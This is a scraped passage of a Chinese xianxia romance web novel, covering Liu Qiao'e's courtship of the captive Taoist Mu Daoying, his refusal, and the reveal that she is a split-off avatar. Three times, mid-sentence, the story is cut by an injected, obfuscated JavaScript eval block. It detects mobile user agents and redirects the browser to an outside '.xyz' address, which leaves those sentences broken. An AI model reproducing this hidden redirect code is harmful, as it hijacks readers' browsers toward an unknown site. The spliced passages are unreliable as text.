怕人瞧见,臭美了一会儿,便飞快取下了。即使如此,也已心满意足。 之后便专心待在了花田里忙农活,一直忙到日头偏西,刘巧娥这才放了杂役们回去。 哪知道不是冤家不聚头,回水云涧的路上竟又遇到了李倾城。 这人色厉内荏,胆子小得好比绿豆,不知是不是忌惮了慕道瑛今早那一手。李倾城瞧见她有些忿忿,却又不敢轻举妄动,只大着声喊了她一句:“喂——” 雷声大,雨点小。晦气。刘巧娥装没看见。 李倾城:“我好心提醒你,合欢大典将近了,我这儿已经不下七八个人问了。我倒要看看你何时能找着你那云山伴!” 刘巧娥:“谁问你了?” 李倾城气得鼻子歪:“刘巧娥!” 表面上装得满不在乎,实际上李倾城那句还真如一根刺扎进了刘巧娥的心底。 上午刻意捺下的那点心思,又浮上水面来。 云山伴?她往哪儿找云山伴呢? 正思索间,水云涧大门已近在眼前。 - 修行讲究心定。 若是心不定,打坐也枉然。 若是心时时清宁如水,胎息自然常在,穿衣吃饭都是修行,也费不着恪守着日日入定调息的死规矩。 跟刘巧娥的那一场早间的争执,令慕道瑛歇了静坐的心思。 经过他不眠不休数日调息,如今筋脉中的内息已经平稳许多。 撩起衣袍一看,腹部等处的要紧伤口伤势也痊愈泰半,这还得多亏了刘巧娥那些伤药。 他在水云涧已待了数日的功夫,虽说修士辟谷之后,洗髓伐毛,遍体肌肤芳雅洁净,又有清洁咒打理日常起居。但慕道瑛生性爱洁,今日无事,便找来只木盆,又找到个搓衣板,搬了小杌子,自己坐在门前洗衣服。 将道袍搓洗干净,抖落晾晒,一抬眸的功夫,却见那盆桃花飞雪,被搁在明堂窗下,于晴光下傲然怒放出碗口大花。 不知为何,眼前此花,竟令慕道瑛联想到了刘巧娥。 那个瘦小,桀骜的女人,长相当然与此花相去甚远,可慕道瑛却仿佛从这二者间看到相同之处。大抵都是一样具有旺盛的生命力,细细的花茎支撑起硕大的花瓣,一样的桀骜嚣狂。 慕道瑛不禁回想起今早的争执。 他这人在他人眼中什么都好,唯独有点学究脾气,不像个顺其自然的道士,倒像个先生。没事喜欢反思自己。 刘巧娥走后,他想起今早有关“詈词秽言”的那一番争执,觉出自己的不对来。 今早是他失言,这些污言秽语应当只是她武装自己的方式。 未历她之艰辛,不该贸然开口,面折人过。 当引以为戒。 有心想跟刘巧娥赔个罪,口头上的道歉份量太轻,可赔礼……他如今孑然一身,实在窘迫。 照慕道瑛的心意,合欢宫功法不正,她修为又始终不得增进。不若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15037550|161721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 教她一二正道法门。 正思量间,抬眸瞧见那盆桃花飞雪。 忽想起好友赵言歌曾说女儿爱俏,略一犹豫,起指一点,一道灵光绕枝三匝,剪下两枝花枝来。 修长如玉的指尖历历拂过花枝,慕道瑛垂下眼来,认认真真稍作修饰了一番。 他出生凡人界大夏朝的姑苏慕家,家族繁荣昌盛,到他这一辈,身边姐姐妹妹尤其多,个个娇惯爱重, 他离家后虽说鲜少跟异性接触,但幼时因生得粉雕玉琢,尤得姐姐们的喜爱。 自幼便更姐姐们学得这些合香插花的本事聊以娱情的,在他手下,那花枝很快便成了花簪形状。 他灵气以木为主,生生不息,慕道瑛又放出一小缕淡青色的灵光,缘枝而上,贮其灵机,保起数日不凋。 花簪既成,只是—— 看着眼前这支花簪,慕道瑛却头一次犯了难,不知如何送出。 正思量间,刘巧娥从门口走了进来。 进门的第一眼刘巧娥便瞧见了慕道瑛。 无他,主要是人长得太好。乌发束冠,肌白如雪,红唇映着桃花飞雪,鲜洁清俊得亮眼,明珠置于室内,照亮满屋,任谁想不注意都难。 他据案而坐,乌黑的发帘半遮着雪面,若有所思。瞧见刘巧娥,慕道瑛回过神来,站起身朝她颔首为礼,“刘道友。” 也不知是他养气功夫不到家,还是女人天性敏锐。 刘巧娥几乎一下子就警惕地皱紧了眉,“有事?” 慕道瑛不动声色,飞快地将花簪扫于袖中。 刘巧娥态度尖锐,慕道瑛一时也不知如何开口。 刘巧娥完全不不惯他的,等了须臾见他不说,转身就要走。 这可不好。 一片落红飞过,竟有目眩神迷之感。 慕道瑛稳了稳心神,忙扶住花枝,终于开了口,声如碎玉声:“——刘道友。” 刘巧娥顿住脚步。 对上刘巧娥的视线,慕道瑛飞快地,言简意赅地道:“抱歉。” 刘巧娥:“?” 她瞪大了眼:“你有病?” 慕道瑛:“……” “今早之事,是我不该。”他定了定心神,决心忽略刘巧娥这一句。 刘巧娥身子轻轻一僵,那僵硬不过一闪而过,她随即便噙着个冷笑,眼里闪动着看好戏的神采,“不该?你错哪儿了?” 刘巧娥心防太紧,慕道瑛心知想要叩开并非易事,或许像刘巧娥这样的人,唯有以诚相待才能得她青眼。 他性子本就坦荡,因此也不觉屈辱,坦诚地说:“在下不知道友昔日经历,只透过只言片语,便自以为师,对道友指手画脚,委实不该。” ——只是这样一说,教她正道功法一事,却不好开口了。 想到这里,慕道瑛飞快地将袖中花簪递到她面子。 “不知道友喜好,此物是我今早闲暇是所作的个小物件,不值一提,也算借花献佛,但望能博道友解颐。” 他觉得羞赧,飞快说完,面色竭力平静如水,实则道心大动,也不知她是否满意。 就是从前玉清观大考时他也没这么紧张过。 哪知晓刘巧娥狐疑地望着他手里的花簪,瞪眼问:“你把我花给折了?” 慕道瑛愣了。 两人大眼瞪小眼对视了须臾。 慕道瑛凛然,飞快地认错:“抱歉。” 刘巧娥抢过花簪拿到手里,皱眉:“你这人难道只会道歉?” 慕道瑛的回答同样很快,“不是。” 刘巧娥看他。 慕道瑛坦诚:“因为他们都不敢。” 不敢什么,自然是他执掌玉清刑名多年,莫说詈词秽语了,见到他,一众玉清弟子巴不得贴边走。 慕道瑛漆黑的眸子认真凝望着她:“你是第一个。” 刘巧娥突然感到好奇:“难道你真就没骂过娘?你难道就不生气?” 慕道瑛道:“自然也有动怒的时候,只是修行当以修身、修性为本,时时克己,正是修行。” 刘巧娥嗤笑:“堵不如疏,道长你日憋夜憋,这也憋,那也憋,我建议你多多少少顺其自然,随性而为,否则过犹不及,憋成个大鳖!” 慕道瑛淡淡道:“或许会有随性的一日罢。” 但至少不是现在。 慕道瑛这温和却坚决的态度,让刘巧娥哑然。 低头摆弄了两下花簪,她冷不丁地问:“你有道侣吗?” 慕道瑛露出个不解的表情。 “何出此言?” 刘巧娥心虚:“……我就问问。” 云山伴,云山伴—— 她怎会想到慕道瑛? 越想,刘巧娥越觉得心惊。 “并无。”慕道瑛摇了摇头,“在下一心奉道,无意于男欢女爱。” 刘巧娥:“你说你不懂男欢女爱,我看你倒是很会哄姑娘开心。” 慕道瑛反问:“我哄到你了吗?” 10.第 10 章 刘巧娥心里又漏跳了一拍。 慕道瑛一双眼,不偏不倚,直望着她,等她回复,澄澈的眼里一派坦然。 刘巧娥心里简直跟打鼓一样疯狂地跳动起来,她低下头,狂乱的心跳让她感到焦躁。 抬起眼,慕道瑛竟还没收回视线,等她回答。 她不知为何,竟怒从心头起,从心底腾地蹿升出一股强烈的怨毒,恨他的自以为是,恨他的虚伪的正直,坦然。恨不得将他这一双眼珠子抠出来。 好不容易才稳住了情绪,模糊不清地说了句:“马马虎虎吧。” 慕道瑛也一直在观察着刘巧娥的神态,听她这一句,他松了口气:“能令道友解颐,是瑛之幸也。” 刘巧娥喜怒无常,他实怕一个行差踏错,不知又如何惹怒了她,那便与他今日所求相去甚远了。 好在在他主动示好之下,刘巧娥的神情终于软化了下来。 但二人志趣不同,也没什么话可说的。这句说完,两人相顾无言,当下便陷入了沉默。 最后还是刘巧娥主动打破了平静:“我先回房。” 慕道瑛:“好。” 刘巧娥收了花簪,但慕道瑛的心情却并未平静,刘巧娥走后,他也回到屋里,铺开纸,撩起袖口便开始研墨。 一圈又一圈,足将墨水磨得黑黑的浓浓的,慕道瑛这才落笔。 “今日与刘道友争执,面折人过,委实不敢。” 将今日之过书于笔尖,检点自身,这是他日常习惯。 不遮掩不矫饰,不春秋笔法,原原本本书于纸上,日日比对矫正,时时警醒。 一句罢,慕道瑛凝望纸上那一行清峻小字,却又陷入沉默。 他今日道歉,仅仅只是因为于此吗? 哪怕不想承认,慕道瑛也不得不承认,今日他初初听得刘巧娥说那些詈词秽语,心中的确生出了嫌恶的心思。 或许是嫌恶她的鄙陋,她的浅薄。 刘巧娥却一无所知,仍受了他的花簪,令他心里着实不是滋味。 刘道友言辞虽不够文雅,待他却也算诚挚。 这实非君子所为,慕道瑛心中微凛,运力于笔尖,暗暗警醒自己,当引以为戒,不可再犯。 话虽这么说,但人与人之间的相处又岂是那么容易的。 人的生活习惯,脾性,志趣,处事方式,都会影响对彼此的看法,态度。 慕道瑛心绪起伏难定,一直到半夜,这才搁了笔,去静坐调息。就这样日日打坐,弗敢懈怠。 水云涧虽风景优美,但洞府不大,慕道瑛住东屋,刘巧娥住西屋。 一大早,听到刘巧娥出门的动静,慕道瑛睁开了眼。 他知晓刘巧娥也一夜没睡。 若说刘巧娥身上还有什么值得他欣赏赞叹的,便是她对于修行的勤奋。 他是身处敌营,不敢有所懈怠,只盼着早日调理好身子,伺机逃出生天。 可刘巧娥,自从两人同居以来,慕道瑛就未曾见过她睡觉,她用打坐代替了睡眠。 - 刘巧娥这一晚上迟迟没能进入入定的状态。 那花簪原本被她搁在桌上,但她老忍不住睁开眼去瞧,瞧着瞧着,心里便忍不住泛起一阵甜蜜。 没出息的东西。刘巧娥心里暗骂。 她倒是颇有自知之明,知晓慕道瑛决计瞧不上她,不过是他笼络人心的手段,偏哄得她心知肚明,又坐立不安,小鹿乱撞。 刘巧娥起身,又将花簪扫入了匣子里,隔了一会儿,又觉不稳妥,塞进了柜子最角落里才安心。 刘巧娥本不愿多想,可那个“让慕道瑛作自己云山伴”的念头却愈演愈烈,她控制不住地在脑中幻想、勾勒。 若是真能将慕道瑛弄到手,想到李倾城,范舒云,白梦离那几个贱人的脸色,刘巧娥几乎快要笑出声来。 问题是慕道瑛这一副高洁出尘,禁欲克己的模样,肯做自己的云山伴吗? 刘巧娥开始琢磨起如何拿下慕道瑛来。 这人正直,悯弱,都怪她前几天表现得太强硬,还得适时低头才行。 刘巧娥是全无讨男人欢心的经验的。 看这人酸腐,尤爱那琴棋书画,风花雪月的调调,便干脆日日变着花样的,给他带盆花来,品种不一,但都开得热闹。 慕道瑛推辞了两回,她仍我行我素,他也只得应纳。 刘巧娥见状,大受鼓舞,更来了劲。 这日,慕道瑛刚进屋,便觉察到不对劲。 青年淡色的澄平双眼一一扫过屋内布置,轩窗半敞,窗明几净,桌上笔墨都已被收拾妥当。 他素来就不习惯旁人擅入自己的卧室,本想找刘巧娥问个清楚。 但目光一转,又瞧见刘巧娥这些时日带回来的那一盆盆花。 这些花他推却不得,都被他摆放在书架,桌案,恍若香雪海。 也罢。想到刘巧娥这些时日笨拙的讨好。慕道瑛最终还是打消了这个念头,走到桌前,将桌上物品一一复原回自己素日里最舒服习惯的方位。 可事实证明,与人相处有些原则还是要彼此说个清楚的。 待到晚间,慕道瑛照例趺坐入定。 门被人“叩叩”敲响。 敲两下,停一下,显示出来者的犹豫和徘徊。 慕道瑛睁开眼:“请进。” 刘巧娥抱个木盆,犹犹豫豫,探头探脑迈步入内。 她不知何时扯了一身粉色的花衣裳,鬓角簪朵大花。 一张瘦长脸涂得浓白,一双眉描得乌黑,颊侧涂着两团僵硬的胭脂,没完全晕开,口脂也涂到嘴唇外面。潦草浮艳。 夜里乍见,犹如坟头的纸扎人。慕道瑛瞠目结舌。 她这副模样,令他几不敢相认,“刘道友?” “道长——”刘巧娥神情有些不自在,说话也难得客气拘谨。 女人喏喏地弯下腰,将盛满水的木盆送到他脚边。 慕道瑛:“……” 他已经隐约猜到了点蹊跷,却宁愿是自己会错了意,“刘道友?” 刘巧娥却屈膝在他身前,垂着头,柔声说:“道友忙累一天,便让在下伺候道长泡脚歇息吧。” 昏暗的灯光勾勒出女人颈部柔顺的线条。 慕道瑛:“……”他终于确信,这几天刘巧娥的确有些不对劲。 她对他未免有些过于讨好了。 只是刘巧娥她为何突然转性,难道真是那花簪之功吗? 慕道瑛沉默了好一会儿,倍感荒诞,“刘道友,你当真不必做到如此地步。” 他年少成名,所交游者都是如他一般的青年才俊,天之骄子,少年们意气风发,骄傲肆意。 刘巧娥这些天来行为古怪,明显是有求于他,可在慕道瑛看来,修士理当足踏山川,放情凌霄,疏畅达观。即便有所求,岂可作如此懦弱卑微模样? 他心中不由升起淡淡的反感,这并非出自对她本人的反感,只是对她处事方式的不赞同。 刘巧娥忙解释说:“在下是甘愿做这一切的。” 慕道瑛霎时无言。 刘巧娥觉察到不对劲,犹豫问:“道长,在下做错了吗?” 当然错了,大错特错。 莫说行为处事,便是今日梳妆打扮在慕道瑛看来也未免过于俗艳浮腻。 他对女子的向往,从来便是恬淡朴素,内敛自华。刘巧娥今日存心勾引,却反其道而行之,媚眼抛给了瞎子看。 慕道瑛虽有些反感,可仔细想想,又觉出她没头没脑,浑有几分质朴可爱。 顿了顿,耐心解释说:“不,你并未做错。只是,道法自然,天地同根,万物同体——吾辈修士一应平等,道友不必为我做到这个地步。” ——即便有求于人,也不必作诸卑躬屈膝的姿态。 后半句话他并不知要如何在不激怒刘巧娥的情况下,说予她听。 刘巧娥似懂非懂。 慕道瑛又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15044062|161721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿了顿,也不指望一时半刻就能同她讲清楚,只好将那半句吞了,“罢了,你只需要记住,下次万不可如此了。” 不等她开口,慕道瑛倏又道:“说罢。” 刘巧娥一怔:“说?说什么?” 慕道瑛静静看着她,“道友这些天里做了这样多的事,难道不是有事相求?” 慕道瑛的眸色极淡,是那种雨过天青之后的透澈颜色。刘巧娥感觉自己的脸热了起来。 他觉察了?! 她要说吗?现在应该说吗? 若是现在不说,她又得装模作样讨好他几日?问题是她就算讨好他一年,两年,他也不定瞧得上她! 实际上,才坚持了没多久,刘巧娥就懊悔了,明明从前为了向上爬,为了在这合欢宫中立足,她也曾经折腰卖笑。 那岁月太久了,久到她自己都快遗忘了。 她以为自己性子虽然急躁了点,到底也算能屈能伸。 可偏偏,她就不想讨好慕道瑛!做的这几日功夫便已经耗尽了她全部的心力了! 也罢。瞧他模样也不像是买账的意思。 她这些天里面子上的功夫也算做到位了。 咬咬牙,刘巧娥终于问出口:“你可知晓合欢大典?” 慕道瑛:“可是贵派一甲子一度的合欢大典?” 刘巧娥:“是。”她将“云山伴”这个由来跟他讲了。 话音刚落,慕道瑛便陷入了长久的沉默。 刘巧娥心顿时如坠冰窖,凉了半截。 过了很久,很久,又好像只是一瞬,慕道瑛终于开口,嗓音敲冰戛玉般冷清镇定,“抱歉。承蒙道友厚爱,恕瑛难从命。” 刘巧娥浑身发抖,切切咬住了牙。 他又拒了她。 一次又一次地拒绝她。 一阵夜风吹来,吹动桌上如豆灯火抖若筛糠。 刘巧娥打了个寒噤,蓦然回过神来,意识到其实时间并未过去多久,慕道瑛几乎是听到她这个提议,便毫不犹豫地拒绝了她。 腾地一声巨响,刘巧娥推门而出。 “刘——”慕道瑛站起身,想要叫住她。 可他最终还是抿了唇,没有再呼唤挽留。 刘巧娥推门而出,飞也般地冲出了水云涧。 她浑身上下的血液仿佛烧起来,烧得她头脑发热,她步履匆匆,一路纵高跃低,避着人群,来到了浮花峰。 浮花主殿沉默地伫立在峰顶。 刘巧娥站在殿门愣了一秒。 她完全是凭着本能冲到主殿来的。 ……她来主殿作什么? 那边的护卫已经看到了她,摇动着火炬朝她走了过来。 无垢老母现如今正在衔云塔里闭关,陈大总管陈玉柔暂居主殿会同副掌戚湄代理宗门事务。 刘巧娥觉得自己隐隐好像记起了什么,又忘记了什么。 正当护卫驱赶她之际,殿内忽然传来个柔和的嗓音。 “是谁在外面?刘巧娥?让她进殿来。” 刘巧娥深吸一口气,规规矩矩走进大殿。 陈玉柔,陈大总管,这位温柔美艳的女子正正懒卧在榻上小憩。 见刘巧娥到来,陈玉柔唇角不自觉漾出一抹笑,直接挥手屏退了左右 语气竟十分柔和,“你来啦?” 刘巧娥一怔! 不知为何,她明记得她跟这位陈大总管只有几面之缘,可陈玉柔待她似乎总十分亲昵。 正愣神间,陈玉柔便已笑眯眯靠过来,牵起她的手。 刘巧娥忙躬身躲避,陈玉柔指尖在她额间轻轻一点。 一股轻灵之气没入她眉间祖窍,刹那间便点破了她那被无数烦恼执念遮蔽污染的本性。 刘巧娥浑身一个激灵,如醍醐灌顶般,一双浑噩双眼霎时间清光流转,陡然清明,眼底泛起淡淡冷意。 对上那双熟悉而陌生的冷淡双眼。 陈玉柔柔声问:“老母?” 11.第 11 章 刘巧娥觉得自己好像做了个梦。 好像过了很久,又好像仅仅只隔了一会儿。 这时,陈玉柔才端详着她的神色,笑着开口,“谁又惹你生气了?” 此时的刘巧娥神情之倨傲比之从前更有过之而无不及,原本脸上的那些鬼祟小心俱都烟消云散。 只见刘巧娥如主人姿态直入殿中,占据了殿内那唯一的一张长榻,恨恨说,“你就不应该趁着我神志不清时,将我安排到他身边伺候!” 陈玉柔只柔柔地笑:“这难道不是你的意愿吗?” “我只没想到,这么多年过去,换了个身份,你待他的执念还是深重。”陈玉柔掌一盏灯,细细凝视着她,轻轻叹了口气。刘巧娥没接这个话茬,静了一会儿。 陈玉柔自知失言,也不慌乱,幽幽叹口气,轻飘飘便将话题带了过去。 “怎么样?你跟在他身边这么久,可曾探听到了返魂灯的下落?” 刘巧娥沉默。 她这些天里,在或有意,或无知觉的情况下,也曾打听过灵元跟返魂灯的下落。 但慕道瑛实在是个孝顺的好徒弟。 他性格端方柔善,唯独在对待跟师父有关的事上,保持了十二分的警惕,嘴硬得堪比蚌壳。任凭刘巧娥使出多少心力,也没撬出个只言片语出来。 生怕慕道瑛起疑,她辄作罢,不好再急于求成。 刘巧娥拧眉,“他这人太犟,言行逼供眼看着是不行了,好在性子还算天真。是个怜贫惜弱,蔑视权贵的。对弱者素无什么防备,没半点心眼子。” 将慕道瑛之前邀请她一道儿离开合欢宗的约定说了。 陈玉柔道:“这倒是个博取他信任的好法子,你不妨先应了他,再慢慢套他的话。若不成你再跟他开诚布公,将他捉回殿里慢慢审问。” 刘巧娥道了声好,又问道:“戚湄有动静吗?” 陈玉柔:“她?成日里跟罗隐仙眉来眼去,两人私底下联络了食血宗,小动作不断,就等着合欢大典那日发难。” “哼。罗隐仙那个老妖怪真是老糊涂了,当初就不该留他性命!” 陈玉柔叹气:“都照你说的安排下去了,不怕他们动,只怕他们不动!” 二人又商量了一会儿,天色渐暗了下来,陈玉柔抬头瞥了眼天色,便催她回去。 “他们如今还不晓得你的身份,你快回去。被人撞见不好交代。” 二人相依为命这么些年,早就生出了家人一般的情谊,私底下相处也不拘什么虚礼,刘巧娥性子刁钻,唯独陈玉柔劝她总多听两句的。 陈玉柔掌灯守在殿门,星点灯火照亮漆黑长夜,她一直目睹刘巧娥下了山。 盖修行之路,是窃阴阳,夺造化,凶险至极的一条路,修士每每想要突破一个境界,就得先堪破一重的魔考。 这是心魔。 境界越深,心魔便越凶险。心魔大多因心境而起,由自己性格上的执念而生,怨憎忧心,爱恨贪嗔,情欲烦恼,这千百年来不知有多少修士败在了这重重魔考之下。 后来也不知是谁想出个投机取巧的法门,捏个分身,将自己人性之中的执念恶念分出去,来躲避心魔考验,待到突破境界之后,再收回分身。 到那个时候修为大成,功力更深,应对心魔也更加得心应手。 俗称“躲心魔”。 只不过这办法本质上还是作弊,躲得了一时,躲不过一世,一朝不妥善解决,待到日后再行突破,反噬更加凶猛。 “躲心魔”通常也只能用在情况危急,修士急于突破境界之时。 戚湄包藏祸心,随时有可能发难,刘巧娥她必须快速突破。 而化出的分身,虽然偶有过去的记忆,知晓自己的来历,但仍受困于幻境魔障,记忆更是时常混乱,拘泥于眼前一时的爱恨情仇,正如人在梦中,“不知周之梦为胡蝶与,胡蝶之梦为周与”。 天还黑着,刘巧娥从浮花峰中走下来,再回到水云涧。 夜风吹得她浑身发毛战栗,旧的记忆模糊,她如梦初醒,如获新生,蓦然惊觉,她是刘巧娥。 合欢宫中最不受人待见,心胸狭窄,斤斤计较的刘巧娥。 慕道瑛又一次拒绝了她! 这一路飞奔回屋,汗湿脊背,哪怕捏个清洁咒也无济于事,刘巧娥打了热水回来,将自己整个人都泡在了浴桶中。 热水暖洋洋的,漾过肌肤,她将头脸埋在水下,稍稍冷静了下来。 水波滟滟,倒映出她被热气熏腾得泛红的双颊。 一双含怒眼眸,明亮如水,竟多出些娇憨姿态。 刘巧娥掬了水,见自己肌肤也算白皙,身量也算苗条,手臂韧如柳枝,哀怨地咬了唇,暗暗骂道:这青春身躯,大好年华,为何偏偏无人来怜! - 慕道瑛不是没遇到过对自己表露心意的女子。 当断不断反受其乱。慕道瑛也很清楚,唯独在此事上,绝不能优柔寡断。 刘巧娥跑了出去,他没有追。 他也没有动,只静静地端坐在屋内,留意着屋外一切细微的动静。等到月升月落,等到夜深露重。 刘巧娥终于回到了水云涧。 慕道瑛动了动耳尖。他听到她开门,关门,又开门出去,打了热水。 隔了一会儿,屋内突然传来了沐浴时的淋漓水声—— 慕道瑛愣了一下,暗暗吃了一惊,回身便走。水声渐远了,他瓷白的脸不自觉却红了。 他哪里料到会听到这个。 本是担心刘巧娥的心情,如今竟像是隔墙的登徒子了。慕道瑛忙收敛心神,不敢再听再想。 不过既还能烧水沐浴,总归没有太过伤情罢。他松了口气,他知道的,她是个强硬的女子。 第二天,刘巧娥走了个大早,慕道瑛听得她的脚步声,便知晓她已然出了门。 经过他这些时日日日调息,灵窍已冲开了七七八八,但未免打草惊蛇,慕道瑛韬光养晦,不动声色地遮掩住了,仍作伤重未愈的病态姿态。 陈玉柔将他软禁在水云涧,对他不闻不问,他每日能做的事其实不多,所能见者也仅刘巧娥一人。 刚住下的那段时日,倒有些合欢宫弟子半夜偷偷过来,跟他求欢,一应都被刘巧娥打了出去。 刘巧娥凶蛮得像只老虎,合欢宫弟子畏她蛮横,虽心有不甘,倒也没敢多加造次。 刘巧娥一走,偌大的水云涧竟也有些孤寂。 她是个爱恨都如火的女子,也不知是不是受她心情影响,这一日慕道瑛本该照例调息,却迟迟不得入定。 既无事可干,便只好取了“春霆”抚琴聊以自娱。 修长指尖轻拨琴弦,铮铮昂昂,琴音铿锵,如春气发动,万雷齐绽,万物萌生。 曲到高潮,屋外忽然传来个隐-忍的呼唤:“慕道长,敢问慕道长可在?” 慕道瑛听出这嗓音是那位白姓的少女,便收了琴到门前查探究竟。 一见白梦离形容,慕道瑛当即一怔。 她不止是横遭了什么变故,头发散乱,衣裳破碎,双颊氤出不正常的嫣红,眼里泛着隐忍痛楚之色。 慕道瑛凛然,迅速脱去外裳替她罩住,“白道友?出了什么事了?” 白梦离见到他松了口气,强忍着羞愤,低声说:“我、我中了毒……” 换做以往,白梦离是不论如何也不可能到水云涧来求助的。 她因生得貌美,又性格冷淡,不肯跟其他宫人双修,一直深受宫中其他弟子的骚扰。 威胁、利诱、下毒、设套都是家常便饭。 白梦离这几年来行事素来小心,却没想到千防万防 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他说是寓居在水云涧,实则是被软禁。除了门前屋后的松风崖,等闲出不去水云涧半步。 若没有旁人主动上门,所能接触者也只有刘巧娥一人。 白梦离还没说完就晕了过去,眼下也就只有将她带回水云涧先行安置了。 少女双眸紧闭,胸膛微微起伏,恍若海棠春睡。 慕道瑛看在眼里,却并无多遐想:他出不得水云涧,就算能出去—— 倘若白梦离此言为真,那些下药之人随时可能会追来。就不能放她一人孤身留在水云涧自己去搬救兵。 而今唯有等她醒来再另作计较。春毒虽烈性,但一时半会儿总不至害人性命。若她长久不醒,他便只能再作打算了。 正思索间,榻上的少女嘤咛一声,缓缓睁开了眼。慕道瑛整神回望,“白道友——” 话音未落,白梦离竟一把擒捉住他的手,“慕道长——” 慕道瑛不动声色抽回手。白梦离着急问:“刘巧娥还没回来吗?” 慕道瑛:“尚未。在下正等道友醒来,你感觉如何?可能联系身边好友?” “我——我感觉很不好。” 慕道瑛:“可能联系到什么旁人?” 白梦离摇头:“我今日并未带传讯玉牌……更何况在这宫里……”她说得委婉,“也没什么可深交之人。” 慕道瑛明白她的意思。某方面来说,白梦离跟他都是同一类人。 虽不知白梦离为何会拜入合欢宫,但每个人都有自己的秘密,慕道瑛无意探究他人的隐私。 他素来与人为善,任何人只要有难,求到他面前,他往往都会倾囊相助。 “在下今为阶下囚,出不得水云涧,无法替道友联络救援。不知道友可愿让在下协理气机?等候刘道友归来?” 白梦离点点头,迟疑说:“既如此,那便麻烦道长了。” 慕道瑛便请她坐下,自己则坐到她身后。 白梦离只感觉一只微凉的大掌抵住自己的后心。 脑后旋即传来慕道瑛正直,清亮的嗓音,“请。” 一缕浩然清润的真气顺着背心缓缓而入。 12.第 12 章 慕道瑛这人眼界太高,不肯委身于她。但合欢大典在即,她却不能不找个云山伴。刘巧娥来到了花谷,一边缓步巡视,一边在心底暗自思索比较着身边的男子。 合欢宫男弟子已经个个都算玉人般的姿色了,但在她眼底,总能挑出些不足之处。 美则美矣,但脂粉气太腻,那是地上的花团锦簇,都不如慕道瑛浩气清英,高洁舒雅。 不想则矣,一想反倒愈发不甘心起来。 “刘、刘管事——”赵老二慌里慌张地跑过来,打破了刘巧娥的沉思,“项管事正寻你呢!” “项管事?”刘巧娥回过神来,心里一个咯噔。 赵老二点头如捣蒜:“正在那边的花棚!” 刘巧娥一颗心笔直地坠了下去。 她虽分管浮云谷东边的花田,但在她之上,仍有个统管浮云谷的“项总管”。 问及赵老二项竹月来意。 赵老二支支吾吾:“好像说……说是咱们花田送到库房里的那批花不行,具体的,小的也不甚清楚。” “这不可能。”刘巧娥道,“送到库房的花都是我亲自点验过的。” 事关六十年一度的合欢大典,谁敢轻忽? 各花田的花要先送到花谷库房,清点检验无误之后,再送往总库,进库前又要由专人再过一遍。 赵老二愁眉:“项总管在前面花棚发了好大一通脾气,唉,总之仙长警醒着些吧。” 刘巧娥随同赵老二迈入了花棚。 项竹月冷酷的嗓音冰坨子似得砸了下来,“这些花也敢送过来,我看你们是真不打算要命了是吧?” 她面前跪着两个抖若筛糠的杂役,瑟瑟地扑倒在地上。 刘巧娥过去见礼:“项管事。” 项竹月抬眼看她:“你来了。” 着人将花送到她面前,“你田里的,看看怎么回事罢。” 刘巧娥看了一眼,见花朵细弱,花瓣枯萎,一捻即碎,当机立断说:“这不是我送过去的花。” 项竹月:“哦?当真?” “若不是送你过去的,那这些花又是从何而来?”项竹月陡然作色,“难道有人浑水摸鱼,贪污倒卖,以次充好不成吗?!” 那两个杂役闻言登时吓得魂飞九天,忙不迭磕头喊冤。 项竹月冷然从袖中甩出一条长鞭,朝这两人兜头挥下,“便不是贪墨,也是渎职!既如此,这两条性命也不必要了罢!” 长鞭如蛇出洞,迅如惊雷,去势极快,激荡周遭空气泛起细小花火。 这一鞭若是抽实,那两个杂役便要当场碎裂天灵,刘巧娥面色遽变! 想也没想,五指一抓,硬生生将那长鞭攥入掌心:“管事息怒!!” 修士体格远较凡人强健,这一鞭虽然没抽断她一只手,却也蓄势极深,抽得刘巧娥掌心霎时皮开肉绽!裂出一道深可见骨的口子,鲜血横流! 赵老二并杂役:“刘娘子!” 刘巧娥忍痛迎上项竹月平静的目光,哪里还有什么不明白的。 今日这阵仗压根就是冲着她来的! 她在项竹月手底下做事,自认也算勤勤恳恳,谨小慎微,与她无冤无仇。 何必今日突然作色为难? 电光火石间,刘巧娥终于想起一人。 范舒云! 前些时日,她才听闻范舒云从思过谷释放的消息。 从被关押到释放,仅仅这十多日的功夫,太快了!定然是他那位内门的姑姑在背后走动了关系。 内门弟子想要报复外门子弟,压根无需自己动手,只需对手底下的人稍稍释放出这个信号,便有一大批外门子弟甘愿为马前卒。 果不其然,见她受伤,项竹月唇角绽开一抹微不可察的笑意,“我帮你惩罚这些失职的杂役,娘子这么着急拦我作甚?” 对方既然是刻意寻衅而来,那再辩白也无意义。鞭势太老,这一鞭之下,她已受了内伤,刘巧娥生生咽下一口血沫,当机立断,先赶赵老二跟那两个杂役离开。 项庄舞剑,意在沛公,项竹月也未拦她。 刘巧娥这才跪下认错,“大人,全是在下的错,在下方才想起,这一批是要淘汰的陈货,是小的疏漏,才将这陈货错送到管事面前,险些误了大事,还请管事息怒。” 她态度卑微,语气讨好,袖子底下的那只手血流不断。 项竹月眼里,刘巧娥不过蝼蚁,犯不着费多少心力,敲打一番赶出去也就罢了,便顺势剥夺了她这个分管花田的小职位,将人赶走。 